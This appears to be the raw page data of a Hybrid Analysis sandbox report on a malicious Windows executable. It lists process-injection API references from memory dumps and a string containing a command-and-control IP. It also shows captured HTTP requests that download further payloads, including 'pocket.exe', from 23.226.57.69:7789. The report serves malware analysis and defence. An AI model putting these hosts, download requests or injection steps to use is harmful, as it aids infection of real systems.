26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 75:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T504,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Win/malicious_confidence_100% Sample 5de69288c38d… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 5de69288c38d…. Malware family: Win/malicious_confidence_100%. Threat score 100/100. 4/27 AV engines flagged this file. 11 malicious and 25 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/5de69288c38d0d190094ec639c1942a2fc5a902893c6e2fc04a47b9e786d6c91","keywords":["Malicious","Win/malicious_confidence_100%","malware analysis","sandbox report","threat intelligence","5de69288c38d0d190094ec639c1942a2fc5a902893c6e2fc04a47b9e786d6c91"],"about":{"@type":"SoftwareApplication","name":"5de69288c38d0d190094ec639c1942a2fc5a902893c6e2fc04a47b9e786d6c91.bin","applicationCategory":["peexe","64bits","executable"],"identifier":"5de69288c38d0d190094ec639c1942a2fc5a902893c6e2fc04a47b9e786d6c91","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Win/malicious_confidence_100%","antivirusDetections":{"malicious":4,"total":27},"behavioralIndicators":{"malicious":11,"suspicious":25},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T146e,Found reference to API "VirtualFree" (Indicator: "VirtualFree"; File: "5de69288c38d0d190094ec639c1942a2fc5a902893c6e2fc04a47b9e786d6c91.bin") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; File: "5de69288c38d0d190094ec639c1942a2fc5a902893c6e2fc04a47b9e786d6c91.bin") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00003004.00000000.274145.03000000.00000040.mdmp, 00000000-00003004.00000000.274145.04970000.00000040.mdmp, 00000000-00003004.00000000.274145.054E0000.00000004.mdmp, 00000000-00003004.00000000.274145.05620000.00000040.mdmp, 00000000-00003004.00000001.276065.04E80000.00000040.mdmp, 00000000-00003004.00000001.276065.06421000.00000004.mdmp, 00000000-00003004.00000002.277986.03000000.00000040.mdmp, 00000000-00003004.00000002.277986.055E0000.00000004.mdmp, 00000000-00003004.00000002.277986.06421000.00000004.mdmp, 00000000-00003004.00000002.277986.72D85000.00000002.mdmp, 00000000-00003004.00000003.282994.02DE0000.00000004.mdmp, 00000000-00003004.00000003.282994.04E80000.00000040.mdmp, 00000000-00003004.00000003.282994.054E0000.00000004.mdmp, 00000000-00003004.00000003.282994.05620000.00000040.mdmp, 00000000-00003004.00000003.282994.06404000.00000004.mdmp, 00000000-00003004.00000003.282994.06830000.00000004.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00003004.00000000.274145.03000000.00000040.mdmp, 00000000-00003004.00000000.274145.04970000.00000040.mdmp, 00000000-00003004.00000000.274145.054E0000.00000004.mdmp, 00000000-00003004.00000000.274145.05620000.00000040.mdmp, 00000000-00003004.00000001.276065.04E80000.00000040.mdmp, 00000000-00003004.00000001.276065.06421000.00000004.mdmp, 00000000-00003004.00000002.277986.03000000.00000040.mdmp, 00000000-00003004.00000002.277986.055E0000.00000004.mdmp, 00000000-00003004.00000002.277986.06421000.00000004.mdmp, 00000000-00003004.00000002.277986.72D85000.00000002.mdmp, 00000000-00003004.00000003.282994.02DE0000.00000004.mdmp, 00000000-00003004.00000003.282994.04E80000.00000040.mdmp, 00000000-00003004.00000003.282994.054E0000.00000004.mdmp, 00000000-00003004.00000003.282994.05620000.00000040.mdmp, 00000000-00003004.00000003.282994.06404000.00000004.mdmp, 00000000-00003004.00000003.282994.06830000.00000004.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00003004.00000000.274145.03000000.00000040.mdmp, 00000000-00003004.00000000.274145.04970000.00000040.mdmp, 00000000-00003004.00000000.274145.054E0000.00000004.mdmp, 00000000-00003004.00000000.274145.05620000.00000040.mdmp, 00000000-00003004.00000001.276065.04E80000.00000040.mdmp, 00000000-00003004.00000001.276065.06421000.00000004.mdmp, 00000000-00003004.00000002.277986.03000000.00000040.mdmp, 00000000-00003004.00000002.277986.055E0000.00000004.mdmp, 00000000-00003004.00000002.277986.06421000.00000004.mdmp, 00000000-00003004.00000003.282994.02DE0000.00000004.mdmp, 00000000-00003004.00000003.282994.04E80000.00000040.mdmp, 00000000-00003004.00000003.282994.054E0000.00000004.mdmp, 00000000-00003004.00000003.282994.05620000.00000040.mdmp, 00000000-00003004.00000003.282994.06404000.00000004.mdmp, 00000000-00003004.00000003.282994.06830000.00000004.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; Source: "00000000-00003004.00000000.274145.054E0000.00000004.mdmp, 00000000-00003004.00000000.274145.05620000.00000040.mdmp, 00000000-00003004.00000001.276065.04E80000.00000040.mdmp, 00000000-00003004.00000001.276065.06421000.00000004.mdmp, 00000000-00003004.00000002.277986.055E0000.00000004.mdmp, 00000000-00003004.00000002.277986.06421000.00000004.mdmp, 00000000-00003004.00000003.282994.04E80000.00000040.mdmp, 00000000-00003004.00000003.282994.054E0000.00000004.mdmp, 00000000-00003004.00000003.282994.05620000.00000040.mdmp, 00000000-00003004.00000003.282994.06404000.00000004.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; Source: "00000000-00003004.00000000.274145.054E0000.00000004.mdmp, 00000000-00003004.00000000.274145.05620000.00000040.mdmp, 00000000-00003004.00000001.276065.04E80000.00000040.mdmp, 00000000-00003004.00000001.276065.06421000.00000004.mdmp, 00000000-00003004.00000002.277986.055E0000.00000004.mdmp, 00000000-00003004.00000002.277986.06421000.00000004.mdmp, 00000000-00003004.00000003.282994.04E80000.00000040.mdmp, 00000000-00003004.00000003.282994.054E0000.00000004.mdmp, 00000000-00003004.00000003.282994.05620000.00000040.mdmp, 00000000-00003004.00000003.282994.06404000.00000004.mdmp") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; Source: "00000000-00003004.00000000.274145.054E0000.00000004.mdmp, 00000000-00003004.00000000.274145.05620000.00000040.mdmp, 00000000-00003004.00000001.276065.04E80000.00000040.mdmp, 00000000-00003004.00000001.276065.06421000.00000004.mdmp, 00000000-00003004.00000002.277986.055E0000.00000004.mdmp, 00000000-00003004.00000002.277986.06421000.00000004.mdmp, 00000000-00003004.00000003.282994.04E80000.00000040.mdmp, 00000000-00003004.00000003.282994.054E0000.00000004.mdmp, 00000000-00003004.00000003.282994.05620000.00000040.mdmp, 00000000-00003004.00000003.282994.06404000.00000004.mdmp")28:Ta5e,Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; Source: "00000000-00003004.00000000.274145.054E0000.00000004.mdmp, 00000000-00003004.00000000.274145.05620000.00000040.mdmp, 00000000-00003004.00000001.276065.04E80000.00000040.mdmp, 00000000-00003004.00000001.276065.06421000.00000004.mdmp, 00000000-00003004.00000002.277986.055E0000.00000004.mdmp, 00000000-00003004.00000002.277986.06421000.00000004.mdmp, 00000000-00003004.00000003.282994.04E80000.00000040.mdmp, 00000000-00003004.00000003.282994.054E0000.00000004.mdmp, 00000000-00003004.00000003.282994.05620000.00000040.mdmp, 00000000-00003004.00000003.282994.06404000.00000004.mdmp") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; Source: "00000000-00003004.00000000.274145.054E0000.00000004.mdmp, 00000000-00003004.00000000.274145.05620000.00000040.mdmp, 00000000-00003004.00000001.276065.04E80000.00000040.mdmp, 00000000-00003004.00000001.276065.06421000.00000004.mdmp, 00000000-00003004.00000002.277986.055E0000.00000004.mdmp, 00000000-00003004.00000002.277986.06421000.00000004.mdmp, 00000000-00003004.00000003.282994.04E80000.00000040.mdmp, 00000000-00003004.00000003.282994.054E0000.00000004.mdmp, 00000000-00003004.00000003.282994.05620000.00000040.mdmp, 00000000-00003004.00000003.282994.06404000.00000004.mdmp") Found reference to API "CreateRemoteThread" (Indicator: "CreateRemoteThread"; Source: "00000000-00003004.00000000.274145.054E0000.00000004.mdmp, 00000000-00003004.00000000.274145.05620000.00000040.mdmp, 00000000-00003004.00000001.276065.04E80000.00000040.mdmp, 00000000-00003004.00000001.276065.06421000.00000004.mdmp, 00000000-00003004.00000002.277986.055E0000.00000004.mdmp, 00000000-00003004.00000002.277986.06421000.00000004.mdmp, 00000000-00003004.00000003.282994.04E80000.00000040.mdmp, 00000000-00003004.00000003.282994.054E0000.00000004.mdmp, 00000000-00003004.00000003.282994.05620000.00000040.mdmp, 00000000-00003004.00000003.282994.06404000.00000004.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00003004.00000000.274145.054E0000.00000004.mdmp, 00000000-00003004.00000000.274145.05620000.00000040.mdmp, 00000000-00003004.00000001.276065.04E80000.00000040.mdmp, 00000000-00003004.00000001.276065.06421000.00000004.mdmp, 00000000-00003004.00000002.277986.055E0000.00000004.mdmp, 00000000-00003004.00000002.277986.06421000.00000004.mdmp, 00000000-00003004.00000003.282994.04E80000.00000040.mdmp, 00000000-00003004.00000003.282994.054E0000.00000004.mdmp, 00000000-00003004.00000003.282994.05620000.00000040.mdmp, 00000000-00003004.00000003.282994.06404000.00000004.mdmp")29:T16ab,Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "5de69288c38d0d190094ec639c1942a2fc5a902893c6e2fc04a47b9e786d6c91.bin") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "5de69288c38d0d190094ec639c1942a2fc5a902893c6e2fc04a47b9e786d6c91.bin") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "5de69288c38d0d190094ec639c1942a2fc5a902893c6e2fc04a47b9e786d6c91.bin") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00003004.00000000.274145.03000000.00000040.mdmp, 00000000-00003004.00000000.274145.04970000.00000040.mdmp, 00000000-00003004.00000000.274145.054E0000.00000004.mdmp, 00000000-00003004.00000000.274145.05620000.00000040.mdmp, 00000000-00003004.00000001.276065.04E80000.00000040.mdmp, 00000000-00003004.00000001.276065.06421000.00000004.mdmp, 00000000-00003004.00000002.277986.03000000.00000040.mdmp, 00000000-00003004.00000002.277986.055E0000.00000004.mdmp, 00000000-00003004.00000002.277986.06421000.00000004.mdmp, 00000000-00003004.00000002.277986.72D85000.00000002.mdmp, 00000000-00003004.00000003.282994.02DE0000.00000004.mdmp, 00000000-00003004.00000003.282994.04E80000.00000040.mdmp, 00000000-00003004.00000003.282994.054E0000.00000004.mdmp, 00000000-00003004.00000003.282994.05620000.00000040.mdmp, 00000000-00003004.00000003.282994.06404000.00000004.mdmp, 00000000-00003004.00000003.282994.06830000.00000004.mdmp") Found reference to API "SetWaitableTimer" (Indicator: "SetWaitableTimer"; Source: "00000000-00003004.00000000.274145.03000000.00000040.mdmp, 00000000-00003004.00000000.274145.04970000.00000040.mdmp, 00000000-00003004.00000000.274145.054E0000.00000004.mdmp, 00000000-00003004.00000000.274145.05620000.00000040.mdmp, 00000000-00003004.00000001.276065.04E80000.00000040.mdmp, 00000000-00003004.00000001.276065.06421000.00000004.mdmp, 00000000-00003004.00000002.277986.03000000.00000040.mdmp, 00000000-00003004.00000002.277986.055E0000.00000004.mdmp, 00000000-00003004.00000002.277986.06421000.00000004.mdmp, 00000000-00003004.00000003.282994.02DE0000.00000004.mdmp, 00000000-00003004.00000003.282994.04E80000.00000040.mdmp, 00000000-00003004.00000003.282994.054E0000.00000004.mdmp, 00000000-00003004.00000003.282994.05620000.00000040.mdmp, 00000000-00003004.00000003.282994.06404000.00000004.mdmp, 00000000-00003004.00000003.282994.06830000.00000004.mdmp") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00003004.00000000.274145.03000000.00000040.mdmp, 00000000-00003004.00000000.274145.04970000.00000040.mdmp, 00000000-00003004.00000000.274145.054E0000.00000004.mdmp, 00000000-00003004.00000000.274145.05620000.00000040.mdmp, 00000000-00003004.00000001.276065.04E80000.00000040.mdmp, 00000000-00003004.00000001.276065.06421000.00000004.mdmp, 00000000-00003004.00000002.277986.03000000.00000040.mdmp, 00000000-00003004.00000002.277986.055E0000.00000004.mdmp, 00000000-00003004.00000002.277986.06421000.00000004.mdmp, 00000000-00003004.00000003.282994.02DE0000.00000004.mdmp, 00000000-00003004.00000003.282994.04E80000.00000040.mdmp, 00000000-00003004.00000003.282994.054E0000.00000004.mdmp, 00000000-00003004.00000003.282994.05620000.00000040.mdmp, 00000000-00003004.00000003.282994.06404000.00000004.mdmp, 00000000-00003004.00000003.282994.06830000.00000004.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00003004.00000000.274145.03000000.00000040.mdmp, 00000000-00003004.00000000.274145.04970000.00000040.mdmp, 00000000-00003004.00000000.274145.054E0000.00000004.mdmp, 00000000-00003004.00000000.274145.05620000.00000040.mdmp, 00000000-00003004.00000001.276065.04E80000.00000040.mdmp, 00000000-00003004.00000001.276065.06421000.00000004.mdmp, 00000000-00003004.00000002.277986.03000000.00000040.mdmp, 00000000-00003004.00000002.277986.055E0000.00000004.mdmp, 00000000-00003004.00000002.277986.06421000.00000004.mdmp, 00000000-00003004.00000002.277986.72D85000.00000002.mdmp, 00000000-00003004.00000003.282994.02DE0000.00000004.mdmp, 00000000-00003004.00000003.282994.04E80000.00000040.mdmp, 00000000-00003004.00000003.282994.054E0000.00000004.mdmp, 00000000-00003004.00000003.282994.05620000.00000040.mdmp, 00000000-00003004.00000003.282994.06404000.00000004.mdmp, 00000000-00003004.00000003.282994.06830000.00000004.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00003004.00000000.274145.03000000.00000040.mdmp, 00000000-00003004.00000000.274145.04970000.00000040.mdmp, 00000000-00003004.00000000.274145.054E0000.00000004.mdmp, 00000000-00003004.00000000.274145.05620000.00000040.mdmp, 00000000-00003004.00000001.276065.04E80000.00000040.mdmp, 00000000-00003004.00000001.276065.06421000.00000004.mdmp, 00000000-00003004.00000002.277986.03000000.00000040.mdmp, 00000000-00003004.00000002.277986.055E0000.00000004.mdmp, 00000000-00003004.00000002.277986.06421000.00000004.mdmp, 00000000-00003004.00000002.277986.72D85000.00000002.mdmp, 00000000-00003004.00000003.282994.02DE0000.00000004.mdmp, 00000000-00003004.00000003.282994.04E80000.00000040.mdmp, 00000000-00003004.00000003.282994.054E0000.00000004.mdmp, 00000000-00003004.00000003.282994.05620000.00000040.mdmp, 00000000-00003004.00000003.282994.06404000.00000004.mdmp, 00000000-00003004.00000003.282994.06830000.00000004.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00006896.00000000.273859.5A6FC000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00006896.00000000.273859.5A6FC000.00000002.mdmp")2a:Tcdf,Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "5de69288c38d0d190094ec639c1942a2fc5a902893c6e2fc04a47b9e786d6c91.bin") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "5de69288c38d0d190094ec639c1942a2fc5a902893c6e2fc04a47b9e786d6c91.bin") Found reference to API "D$8hb4D$DhsD$PhntdlfD$@hD$|j@VWs2_32.dfD$ llh4&R3D$HhD$ThD$dhD$phD$|hD$`ht_^3D$|8X(j\$$t\$$tDVWjLoadLibraryWjWYjsfYj2fYj_fYj3fYj2fYj.fYjdfjlYfgetaddriRWWQ(Vj@hQVVPKHQP~;MCXjdS<9u9GuNyducodemark27.124.41.16527.124.41.165" (Indicator: "LoadLibrary"; File: "1.bin") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00003004.00000000.274145.03000000.00000040.mdmp, 00000000-00003004.00000000.274145.04970000.00000040.mdmp, 00000000-00003004.00000000.274145.054E0000.00000004.mdmp, 00000000-00003004.00000000.274145.05620000.00000040.mdmp, 00000000-00003004.00000001.276065.04E80000.00000040.mdmp, 00000000-00003004.00000001.276065.06421000.00000004.mdmp, 00000000-00003004.00000002.277986.03000000.00000040.mdmp, 00000000-00003004.00000002.277986.055E0000.00000004.mdmp, 00000000-00003004.00000002.277986.06421000.00000004.mdmp, 00000000-00003004.00000003.282994.02DE0000.00000004.mdmp, 00000000-00003004.00000003.282994.04E80000.00000040.mdmp, 00000000-00003004.00000003.282994.054E0000.00000004.mdmp, 00000000-00003004.00000003.282994.05620000.00000040.mdmp, 00000000-00003004.00000003.282994.06404000.00000004.mdmp, 00000000-00003004.00000003.282994.06830000.00000004.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00003004.00000000.274145.054E0000.00000004.mdmp, 00000000-00003004.00000000.274145.05620000.00000040.mdmp, 00000000-00003004.00000001.276065.04E80000.00000040.mdmp, 00000000-00003004.00000001.276065.06421000.00000004.mdmp, 00000000-00003004.00000002.277986.055E0000.00000004.mdmp, 00000000-00003004.00000002.277986.06421000.00000004.mdmp, 00000000-00003004.00000002.277986.72D85000.00000002.mdmp, 00000000-00003004.00000003.282994.04E80000.00000040.mdmp, 00000000-00003004.00000003.282994.054E0000.00000004.mdmp, 00000000-00003004.00000003.282994.05620000.00000040.mdmp, 00000000-00003004.00000003.282994.06404000.00000004.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00003004.00000000.274145.054E0000.00000004.mdmp, 00000000-00003004.00000000.274145.05620000.00000040.mdmp, 00000000-00003004.00000001.276065.04E80000.00000040.mdmp, 00000000-00003004.00000001.276065.06421000.00000004.mdmp, 00000000-00003004.00000002.277986.055E0000.00000004.mdmp, 00000000-00003004.00000002.277986.06421000.00000004.mdmp, 00000000-00003004.00000003.282994.04E80000.00000040.mdmp, 00000000-00003004.00000003.282994.054E0000.00000004.mdmp, 00000000-00003004.00000003.282994.05620000.00000040.mdmp, 00000000-00003004.00000003.282994.06404000.00000004.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00003004.00000002.277986.72D85000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00006896.00000000.273859.5A6FC000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00006896.00000000.273859.5A6FC000.00000002.mdmp")2b:T562,Found PE header "MZ" - Source: "00000000-00003004.00000000.274145.03000000.00000040.mdmp") Found PE header "MZ" - Source: "00000000-00003004.00000000.274145.04970000.00000040.mdmp") Found PE header "MZ" - Source: "00000000-00003004.00000000.274145.054E0000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00003004.00000000.274145.05620000.00000040.mdmp") Found PE header "MZ" - Source: "00000000-00003004.00000001.276065.04E80000.00000040.mdmp") Found PE header "MZ" - Source: "00000000-00003004.00000001.276065.06421000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00003004.00000002.277986.03000000.00000040.mdmp") Found PE header "MZ" - Source: "00000000-00003004.00000002.277986.055E0000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00003004.00000002.277986.06421000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00003004.00000003.282994.02DE0000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00003004.00000003.282994.04E80000.00000040.mdmp") Found PE header "MZ" - Source: "00000000-00003004.00000003.282994.054E0000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00003004.00000003.282994.05620000.00000040.mdmp") Found PE header "MZ" - Source: "00000000-00003004.00000003.282994.06404000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00003004.00000003.282994.06830000.00000004.mdmp")2c:T783,Found string - \.\DISPLAY1; Source: "00000000-00003004.00000001.276065.02CE0000.00000004.mdmp, 00000000-00003004.00000002.277986.02D0D000.00000004.mdmp, 00000000-00003004.00000003.282994.02CE0000.00000004.mdmp") Found string - \\.\DISPLAY1; Source: "00000000-00003004.00000001.276065.02CE0000.00000004.mdmp, 00000000-00003004.00000002.277986.02D0D000.00000004.mdmp, 00000000-00003004.00000003.282994.02CE0000.00000004.mdmp") Found string - \\.\DISPLAY2; Source: "00000000-00003004.00000001.276065.02CE0000.00000004.mdmp, 00000000-00003004.00000002.277986.02D0D000.00000004.mdmp, 00000000-00003004.00000003.282994.02CE0000.00000004.mdmp") Found string - \\.\DISPLAY3; Source: "00000000-00003004.00000001.276065.02CE0000.00000004.mdmp, 00000000-00003004.00000002.277986.02D0D000.00000004.mdmp, 00000000-00003004.00000003.282994.02CE0000.00000004.mdmp") Found string - \\.\DISPLAY4; Source: "00000000-00003004.00000001.276065.02CE0000.00000004.mdmp, 00000000-00003004.00000002.277986.02D0D000.00000004.mdmp, 00000000-00003004.00000003.282994.02CE0000.00000004.mdmp") Found string - \\.\DISPLAY5; Source: "00000000-00003004.00000001.276065.02CE0000.00000004.mdmp, 00000000-00003004.00000002.277986.02D0D000.00000004.mdmp, 00000000-00003004.00000003.282994.02CE0000.00000004.mdmp") Found string - \\.\DISPLAY6; Source: "00000000-00003004.00000001.276065.02CE0000.00000004.mdmp, 00000000-00003004.00000002.277986.02D0D000.00000004.mdmp, 00000000-00003004.00000003.282994.02CE0000.00000004.mdmp") Found string - \\.\DISPLAY7; Source: "00000000-00003004.00000001.276065.02CE0000.00000004.mdmp, 00000000-00003004.00000002.277986.02D0D000.00000004.mdmp, 00000000-00003004.00000003.282994.02CE0000.00000004.mdmp") Found string - \\.\DISPLAY8; Source: "00000000-00003004.00000001.276065.02CE0000.00000004.mdmp, 00000000-00003004.00000002.277986.02D0D000.00000004.mdmp, 00000000-00003004.00000003.282994.02CE0000.00000004.mdmp")2d:Tac5," HTTP/1.1 200 OK Server: nginx/1.15.11 Date: Sun 22 Mar 2026 00:00:22 GMT Content-Type: application/octet-stream Content-Length: 219136 Last-Modified: Sun 22 Mar 2026 06:17:02 GMT Connection: keep-alive ETag: "69bf895e-35800" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /27.124.41.165_86.bin HTTP/1.1 Accept: */* UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 23.226.57.69:7789 Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Server: nginx/1.15.11 Date: Sun 22 Mar 2026 00:00:23 GMT Content-Type: application/octet-stream Content-Length: 2724 Last-Modified: Thu 19 Mar 2026 13:36:44 GMT Connection: keep-alive ETag: "69bbfbec-aa4" Accept-Ranges: bytes with response body ==>55C28BC3ACC283C3A4C3B8C281C3AC1402000064C2A1300000005333C39BC2895C245CC2895C2470C2895C2474C2895C2478C28B400CC28B40145657C3AB420F....... "GET /pocket.exe HTTP/1.1 Accept: */* UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 23.226.57.69:7789 Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Server: nginx/1.15.11 Date: Sun 22 Mar 2026 00:00:24 GMT Content-Type: application/octet-stream Content-Length: 665184 Last-Modified: Sat 14 Jun 2025 15:28:12 GMT Connection: keep-alive ETag: "684d950c-a2660" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B8000000000000004000000000000000000000000000000025C3954768000000000000000000000000000000.......4c:T16ff,"